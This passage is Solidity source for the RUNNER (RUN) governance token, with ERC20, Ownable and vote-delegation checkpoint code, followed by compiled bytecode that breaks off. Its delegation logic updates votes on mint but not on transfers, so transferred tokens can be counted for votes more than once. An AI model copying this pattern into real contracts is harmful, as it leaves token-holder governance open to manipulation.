_allowances[_msgSender()][spender] + addedValue); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { uint256 currentAllowance = _allowances[_msgSender()][spender]; require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero"); unchecked { _approve(_msgSender(), spender, currentAllowance - subtractedValue); } return true; } /** * @dev Moves `amount` of tokens from `sender` to `recipient`. * * This internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer( address sender, address recipient, uint256 amount ) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); uint256 senderBalance = _balances[sender]; require(senderBalance >= amount, "ERC20: transfer amount exceeds balance"); unchecked { _balances[sender] = senderBalance - amount; } _balances[recipient] += amount; emit Transfer(sender, recipient, amount); _afterTokenTransfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. */ function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply += amount; _balances[account] += amount; emit Transfer(address(0), account, amount); _afterTokenTransfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); uint256 accountBalance = _balances[account]; require(accountBalance >= amount, "ERC20: burn amount exceeds balance"); unchecked { _balances[account] = accountBalance - amount; } _totalSupply -= amount; emit Transfer(account, address(0), amount); _afterTokenTransfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens. * * This internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve( address owner, address spender, uint256 amount ) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 amount ) internal virtual {} /** * @dev Hook that is called after any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * has been transferred to `to`. * - when `from` is zero, `amount` tokens have been minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens have been burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _afterTokenTransfer( address from, address to, uint256 amount ) internal virtual {} } /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() { _setOwner(_msgSender()); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { _setOwner(address(0)); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _setOwner(newOwner); } function _setOwner(address newOwner) private { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } abstract contract RunnerTokenInterface is ERC20, Ownable { /// @notice Total number of tokens uint256 public maxSupply = 1_000_000_000e18; // 1 Billion RUN /// @notice Creates `_amount` token to `_to`. Must only be called by the owner (RUNNER). function mint(address _to, uint256 _amount) public onlyOwner { require( (totalSupply() + _amount) <= maxSupply, "RUN::mint: cannot exceed max supply" ); _mint(_to, _amount); _moveDelegates(address(0), _delegates[_to], _amount); } mapping(address => address) internal _delegates; /// @notice A checkpoint for marking number of votes from a given block struct Checkpoint { uint32 fromBlock; uint256 votes; } /// @notice A record of votes checkpoints for each account, by index mapping(address => mapping(uint32 => Checkpoint)) public checkpoints; /// @notice The number of checkpoints for each account mapping(address => uint32) public numCheckpoints; /// @notice The EIP-712 typehash for the contract's domain bytes32 public constant DOMAIN_TYPEHASH = keccak256( "EIP712Domain(string name,uint256 chainId,address verifyingContract)" ); /// @notice The EIP-712 typehash for the delegation struct used by the contract bytes32 public constant DELEGATION_TYPEHASH = keccak256("Delegation(address delegatee,uint256 nonce,uint256 expiry)"); /// @notice A record of states for signing / validating signatures mapping(address => uint256) public nonces; /// @notice An event thats emitted when an account changes its delegate event DelegateChanged( address indexed delegator, address indexed fromDelegate, address indexed toDelegate ); /// @notice An event thats emitted when a delegate account's vote balance changes event DelegateVotesChanged( address indexed delegate, uint256 previousBalance, uint256 newBalance ); /** * @notice Delegate votes from `msg.sender` to `delegatee` * @param delegator The address to get delegatee for */ function delegates(address delegator) external view returns (address) { return _delegates[delegator]; } /** * @notice Delegate votes from `msg.sender` to `delegatee` * @param delegatee The address to delegate votes to */ function delegate(address delegatee) external { return _delegate(msg.sender, delegatee); } /** * @notice Delegates votes from signatory to `delegatee` * @param delegatee The address to delegate votes to * @param nonce The contract state required to match the signature * @param expiry The time at which to expire the signature * @param v The recovery byte of the signature * @param r Half of the ECDSA signature pair * @param s Half of the ECDSA signature pair */ function delegateBySig( address delegatee, uint256 nonce, uint256 expiry, uint8 v, bytes32 r, bytes32 s ) external { bytes32 domainSeparator = keccak256( abi.encode( DOMAIN_TYPEHASH, keccak256(bytes(name())), getChainId(), address(this) ) ); bytes32 structHash = keccak256( abi.encode(DELEGATION_TYPEHASH, delegatee, nonce, expiry) ); bytes32 digest = keccak256( abi.encodePacked("\x19\x01", domainSeparator, structHash) ); address signatory = ecrecover(digest, v, r, s); require( signatory != address(0), "RUN::delegateBySig: invalid signature" ); require( nonce == nonces[signatory]++, "RUN::delegateBySig: invalid nonce" ); require(block.timestamp <= expiry, "RUN::delegateBySig: signature expired"); return _delegate(signatory, delegatee); } /** * @notice Gets the current votes balance for `account` * @param account The address to get votes balance * @return The number of current votes for `account` */ function getCurrentVotes(address account) external view returns (uint256) { uint32 nCheckpoints = numCheckpoints[account]; return nCheckpoints > 0 ? checkpoints[account][nCheckpoints - 1].votes : 0; } /** * @notice Determine the prior number of votes for an account as of a block number * @dev Block number must be a finalized block or else this function will revert to prevent misinformation. * @param account The address of the account to check * @param blockNumber The block number to get the vote balance at * @return The number of votes the account had as of the given block */ function getPriorVotes(address account, uint256 blockNumber) external view returns (uint256) { require( blockNumber < block.number, "RUN::getPriorVotes: not yet determined" ); uint32 nCheckpoints = numCheckpoints[account]; if (nCheckpoints == 0) { return 0; } // First check most recent balance if (checkpoints[account][nCheckpoints - 1].fromBlock <= blockNumber) { return checkpoints[account][nCheckpoints - 1].votes; } // Next check implicit zero balance if (checkpoints[account][0].fromBlock > blockNumber) { return 0; } uint32 lower = 0; uint32 upper = nCheckpoints - 1; while (upper > lower) { uint32 center = upper - (upper - lower) / 2; // ceil, avoiding overflow Checkpoint memory cp = checkpoints[account][center]; if (cp.fromBlock == blockNumber) { return cp.votes; } else if (cp.fromBlock < blockNumber) { lower = center; } else { upper = center - 1; } } return checkpoints[account][lower].votes; } function _delegate(address delegator, address delegatee) internal { address currentDelegate = _delegates[delegator]; uint256 delegatorBalance = balanceOf(delegator); // balance of underlying RUN (not scaled); _delegates[delegator] = delegatee; emit DelegateChanged(delegator, currentDelegate, delegatee); _moveDelegates(currentDelegate, delegatee, delegatorBalance); } function _moveDelegates( address srcRep, address dstRep, uint256 amount ) internal { if (srcRep != dstRep && amount > 0) { if (srcRep != address(0)) { // decrease old representative uint32 srcRepNum = numCheckpoints[srcRep]; uint256 srcRepOld = srcRepNum > 0 ? checkpoints[srcRep][srcRepNum - 1].votes : 0; uint256 srcRepNew = srcRepOld - amount; _writeCheckpoint(srcRep, srcRepNum, srcRepOld, srcRepNew); } if (dstRep != address(0)) { // increase new representative uint32 dstRepNum = numCheckpoints[dstRep]; uint256 dstRepOld = dstRepNum > 0 ? checkpoints[dstRep][dstRepNum - 1].votes : 0; uint256 dstRepNew = dstRepOld + amount; _writeCheckpoint(dstRep, dstRepNum, dstRepOld, dstRepNew); } } } function _writeCheckpoint( address delegatee, uint32 nCheckpoints, uint256 oldVotes, uint256 newVotes ) internal { uint32 blockNumber = safe32( block.number, "RUN::_writeCheckpoint: block number exceeds 32 bits" ); if ( nCheckpoints > 0 && checkpoints[delegatee][nCheckpoints - 1].fromBlock == blockNumber ) { checkpoints[delegatee][nCheckpoints - 1].votes = newVotes; } else { checkpoints[delegatee][nCheckpoints] = Checkpoint( blockNumber, newVotes ); numCheckpoints[delegatee] = nCheckpoints + 1; } emit DelegateVotesChanged(delegatee, oldVotes, newVotes); } function safe32(uint256 n, string memory errorMessage) internal pure returns (uint32) { require(n < 2**32, errorMessage); return uint32(n); } function getChainId() internal view returns (uint256) { uint256 chainId; assembly { chainId := chainid() } return chainId; } } contract RUNNERToken is RunnerTokenInterface { constructor(string memory name, string memory symbol) ERC20(name, symbol) {} }
0x608060405234801561001057600080fd5b506004361061018e5760003560e01c8063782d6fe1116100de578063b4b5ea5711610097578063dd62ed3e11610071578063dd62ed3e146104d3578063e7a324dc14610503578063f1127ed814610521578063f2fde38b146105525761018e565b8063b4b5ea5714610469578063c3cda52014610499578063d5abeb01146104b55761018e565b8063782d6fe11461036d5780637ecebe001461039d5780638da5cb5b146103cd57806395d89b41146103eb578063a457c2d714610409578063a9059cbb146104395761018e565b8063395093511161014b5780635c19a95c116101255780635c19a95c146102e75780636fcfff451461030357806370a0823114610333578063715018a6146103635761018e565b8063395093511461026b57806340c10f191461029b578063587cde1e146102b75761018e565b806306fdde0314610193578063095ea7b3146101b157806318160ddd146101e157806320606b70146101ff57806323b872dd1461021d578063313ce5671461024d575b600080fd5b61019b61056e565b6040516101a89190612d6f565b60405180910390f35b6101cb60048036038101906101c6919061247f565b610600565b6040516101d89190612c6a565b60405180910390f35b6101e961061e565b6040516101f69190612f71565b60405180910390f35b610207610628565b6040516102149190612c85565b60405180910390f35b61023760048036038101906102329190612430565b61064c565b6040516102449190612c6a565b60405180910390f35b610255610744565b6040516102629190612ff9565b60405180910390f35b6102856004803603810190610280919061247f565b61074d565b6040516102929190612c6a565b60405180910390f35b6102b560048036038101906102b0919061247f565b6107f9565b005b6102d160048036038101906102cc91906123cb565b610945565b6040516102de9190612c4f565b60405180910390f35b61030160048036038101906102fc91906123cb565b6109ae565b005b61031d600480360381019061031891906123cb565b6109bb565b60405161032a9190612fb5565b60405180910390f35b61034d600480360381019061034891906123cb565b6109de565b60405161035a9190612f71565b60405180910390f35b61036b610a26565b005b6103876004803603810190610382919061247f565b610aae565b6040516103949190612f71565b60405180910390f35b6103b760048036038101906103b291906123cb565b610e85565b6040516103c49190612f71565b60405180910390f35b6103d5610e9d565b6040516103e29190612c4f565b60405180910390f35b6103f3610ec7565b6040516104009190612d6f565b60405180910390f35b610423600480360381019061041e919061247f565b610f59565b6040516104309190612c6a565b60405180910390f35b610453600480360381019061044e919061247f565b611044565b6040516104609190612c6a565b60405180910390f35b610483600480360381019061047e91906123cb565b611062565b6040516104909190612f71565b60405180910390f35b6104b360048036038101906104ae91906124bb565b611141565b005b6104bd6113d6565b6040516104ca9190612f71565b60405180910390f35b6104ed60048036038101906104e891906123f4565b6113dc565b6040516104fa9190612f71565b60405180910390f35b61050b611463565b6040516105189190612c85565b60405180910390f35b61053b60048036038101906105369190612544565b611487565b604051610549929190612fd0565b60405180910390f35b61056c600480360381019061056791906123cb565b6114c8565b005b60606003805461057d90613206565b80601f01602080910402602001604051908101604052809291908181526020018280546105a990613206565b80156105f65780601f106105cb576101008083540402835291602001916105f6565b820191906000526020600020905b8154815290600101906020018083116105d957829003601f168201915b5050505050905090565b600061061461060d6115c0565b84846115c8565b6001905092915050565b6000600254905090565b7f8cad95687ba82c2ce50e74f7b754645e5117c3a5bec8151c0726d5857980a86681565b6000610659848484611793565b6000600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006106a46115c0565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905082811015610724576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161071b90612e91565b60405180910390fd5b610738856107306115c0565b8584036115c8565b60019150509392505050565b60006012905090565b60006107ef61075a6115c0565b8484600160006107686115c0565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546107ea919061303b565b6115c8565b6001905092915050565b6108016115c0565b73ffffffffffffffffffffffffffffffffffffffff1661081f610e9d565b73ffffffffffffffffffffffffffffffffffffffff1614610875576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161086c90612eb1565b60405180910390fd5b6006548161088161061e565b61088b919061303b565b11156108cc576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108c390612e71565b60405180910390fd5b6108d68282611a14565b6109416000600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1683611b74565b5050565b6000600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050919050565b6109b83382611e15565b50565b60096020528060005260406000206000915054906101000a900463ffffffff1681565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610a2e6115c0565b73ffffffffffffffffffffffffffffffffffffffff16610a4c610e9d565b73ffffffffffffffffffffffffffffffffffffffff1614610aa2576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a9990612eb1565b60405180910390fd5b610aac6000611f86565b565b6000438210610af2576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ae990612e31565b60405180910390fd5b6000600960008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900463ffffffff16905060008163ffffffff161415610b5f576000915050610e7f565b82600860008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000600184610bae9190613130565b63ffffffff1663ffffffff16815260200190815260200160002060000160009054906101000a900463ffffffff1663ffffffff1611610c5b57600860008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000600183610c359190613130565b63ffffffff1663ffffffff16815260200190815260200160002060010154915050610e7f565b82600860008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008063ffffffff16815260200190815260200160002060000160009054906101000a900463ffffffff1663ffffffff161115610cdc576000915050610e7f565b600080600183610cec9190613130565b90505b8163ffffffff168163ffffffff161115610e1957600060028383610d139190613130565b610d1d91906130cb565b82610d289190613130565b90506000600860008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008363ffffffff1663ffffffff1681526020019081526020016000206040518060400160405290816000820160009054906101000a900463ffffffff1663ffffffff1663ffffffff168152602001600182015481525050905086816000015163ffffffff161415610de857806020015195505050505050610e7f565b86816000015163ffffffff161015610e0257819350610e12565b600182610e0f9190613130565b92505b5050610cef565b600860008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008363ffffffff1663ffffffff1681526020019081526020016000206001015493505050505b92915050565b600a6020528060005260406000206000915090505481565b6000600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060048054610ed690613206565b80601f0160208091040260200160405190810160405280929190818152602001828054610f0290613206565b8015610f4f5780601f10610f2457610100808354040283529160200191610f4f565b820191906000526020600020905b815481529060010190602001808311610f3257829003601f168201915b5050505050905090565b60008060016000610f686115c0565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905082811015611025576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161101c90612f31565b60405180910390fd5b6110396110306115c0565b858584036115c8565b600191505092915050565b60006110586110516115c0565b8484611793565b6001905092915050565b600080600960008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900463ffffffff16905060008163ffffffff16116110cc576000611139565b600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600060018361111a9190613130565b63ffffffff1663ffffffff168152602001908152602001600020600101545b915050919050565b60007f8cad95687ba82c2ce50e74f7b754645e5117c3a5bec8151c0726d5857980a86661116c61056e565b8051906020012061117b61204c565b3060405160200161118f9493929190612ce5565b60405160208183030381529060405280519060200120905060007fe48329057bfd03d55e49b547132e39cffd9c1820ad7b9d4c5307691425d15adf8888886040516020016111e09493929190612ca0565b6040516020818303038152906040528051906020012090506000828260405160200161120d929190612c18565b60405160208183030381529060405280519060200120905060006001828888886040516000815260200160405260405161124a9493929190612d2a565b6020604051602081039080840390855afa15801561126c573d6000803e3d6000fd5b505050602060405103519050600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614156112e8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112df90612ed1565b60405180910390fd5b600a60008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600081548092919061133890613238565b91905055891461137d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161137490612df1565b60405180910390fd5b874211156113c0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113b790612e51565b60405180910390fd5b6113ca818b611e15565b50505050505050505050565b60065481565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b7fe48329057bfd03d55e49b547132e39cffd9c1820ad7b9d4c5307691425d15adf81565b6008602052816000526040600020602052806000526040600020600091509150508060000160009054906101000a900463ffffffff16908060010154905082565b6114d06115c0565b73ffffffffffffffffffffffffffffffffffffffff166114ee610e9d565b73ffffffffffffffffffffffffffffffffffffffff1614611544576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161153b90612eb1565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614156115b4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115ab90612db1565b60405180910390fd5b6115bd81611f86565b50565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611638576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161162f90612f11565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156116a8576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161169f90612dd1565b60405180910390fd5b80600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516117869190612f71565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611803576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016117fa90612ef1565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611873576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161186a90612d91565b60405180910390fd5b61187e838383612059565b60008060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905081811015611904576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118fb90612e11565b60405180910390fd5b8181036000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254611997919061303b565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516119fb9190612f71565b60405180910390a3611a0e84848461205e565b50505050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611a84576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a7b90612f51565b60405180910390fd5b611a9060008383612059565b8060026000828254611aa2919061303b565b92505081905550806000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254611af7919061303b565b925050819055508173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051611b5c9190612f71565b60405180910390a3611b706000838361205e565b5050565b8173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015611bb05750600081115b15611e1057600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614611ce2576000600960008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900463ffffffff1690506000808263ffffffff1611611c53576000611cc0565b600860008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000600184611ca19190613130565b63ffffffff1663ffffffff168152602001908152602001600020600101545b905060008382611cd091906130fc565b9050611cde86848484612063565b5050505b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614611e0f576000600960008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900463ffffffff1690506000808263ffffffff1611611d80576000611ded565b600860008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000600184611dce9190613130565b63ffffffff1663ffffffff168152602001908152602001600020600101545b905060008382611dfd919061303b565b9050611e0b85848484612063565b5050505b5b505050565b6000600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1690506000611e84846109de565b905082600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508273ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167f3134e8a2e6d97e929a7e54011ea5485d7d196dd5f0ba4d4ef95803e8e3fc257f60405160405180910390a4611f80828483611b74565b50505050565b6000600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905081600560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b6000804690508091505090565b505050565b505050565b60006120874360405180606001604052806033815260200161339d6033913961230c565b905060008463ffffffff1611801561212557508063ffffffff16600860008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006001876120ef9190613130565b63ffffffff1663ffffffff16815260200190815260200160002060000160009054906101000a900463ffffffff1663ffffffff16145b1561219f5781600860008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006001876121799190613130565b63ffffffff1663ffffffff168152602001908152602001600020600101819055506122b5565b60405180604001604052808263ffffffff16815260200183815250600860008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008663ffffffff1663ffffffff16815260200190815260200160002060008201518160000160006101000a81548163ffffffff021916908363ffffffff160217905550602082015181600101559050506001846122579190613091565b600960008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548163ffffffff021916908363ffffffff1602179055505b8473ffffffffffffffffffffffffffffffffffffffff167fdec2bacdd2f05b59de34da9b523dff8be42e5e38e818c82fdb0bae774387a72484846040516122fd929190612f8c565b60405180910390a25050505050565b600064010000000083108290612358576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161234f9190612d6f565b60405180910390fd5b5082905092915050565b60008135905061237181613329565b92915050565b60008135905061238681613340565b92915050565b60008135905061239b81613357565b92915050565b6000813590506123b08161336e565b92915050565b6000813590506123c581613385565b92915050565b6000602082840312156123dd57600080fd5b60006123eb84828501612362565b91505092915050565b6000806040838503121561240757600080fd5b600061241585828601612362565b925050602061242685828601612362565b9150509250929050565b60008060006060848603121561244557600080fd5b600061245386828701612362565b935050602061246486828701612362565b92505060406124758682870161238c565b9150509250925092565b6000806040838503121561249257600080fd5b60006124a085828601612362565b92505060206124b18582860161238c565b9150509250929050565b60008060008060008060c087890312156124d457600080fd5b60006124e289828a01612362565b96505060206124f389828a0161238c565b955050604061250489828a0161238c565b945050606061251589828a016123b6565b935050608061252689828a01612377565b92505060a061253789828a01612377565b9150509295509295509295565b6000806040838503121561255757600080fd5b600061256585828601612362565b9250506020612576858286016123a1565b9150509250929050565b61258981613164565b82525050565b61259881613176565b82525050565b6125a781613182565b82525050565b6125be6125b982613182565b613281565b82525050565b60006125cf82613014565b6125d9818561301f565b93506125e98185602086016131d3565b6125f281613318565b840191505092915050565b600061260a60238361301f565b91507f45524332303a207472616e7366657220746f20746865207a65726f206164647260008301527f65737300000000000000000000000000000000000000000000000000000000006020830152604082019050919050565b600061267060268361301f565b91507f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008301527f64647265737300000000000000000000000000000000000000000000000000006020830152604082019050919050565b60006126d660228361301f565b91507f45524332303a20617070726f766520746f20746865207a65726f20616464726560008301527f73730000000000000000000000000000000000000000000000000000000000006020830152604082019050919050565b600061273c600283613030565b91507f19010000000000000000000000000000000000000000000000000000000000006000830152600282019050919050565b600061277c60218361301f565b91507f52554e3a3a64656c656761746542795369673a20696e76616c6964206e6f6e6360008301527f65000000000000000000000000000000000000000000000000000000000000006020830152604082019050919050565b60006127e260268361301f565b91507f45524332303a207472616e7366657220616d6f756e742065786365656473206260008301527f616c616e636500000000000000000000000000000000000000000000000000006020830152604082019050919050565b600061284860268361301f565b91507f52554e3a3a6765745072696f72566f7465733a206e6f7420796574206465746560008301527f726d696e656400000000000000000000000000000000000000000000000000006020830152604082019050919050565b60006128ae60258361301f565b91507f52554e3a3a64656c656761746542795369673a207369676e617475726520657860008301527f70697265640000000000000000000000000000000000000000000000000000006020830152604082019050919050565b600061291460238361301f565b91507f52554e3a3a6d696e743a2063616e6e6f7420657863656564206d61782073757060008301527f706c7900000000000000000000000000000000000000000000000000000000006020830152604082019050919050565b600061297a60288361301f565b91507f45524332303a207472616e7366657220616d6f756e742065786365656473206160008301527f6c6c6f77616e63650000000000000000000000000000000000000000000000006020830152604082019050919050565b60006129e060208361301f565b91507f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726000830152602082019050919050565b6000612a2060258361301f565b91507f52554e3a3a64656c65676174654279536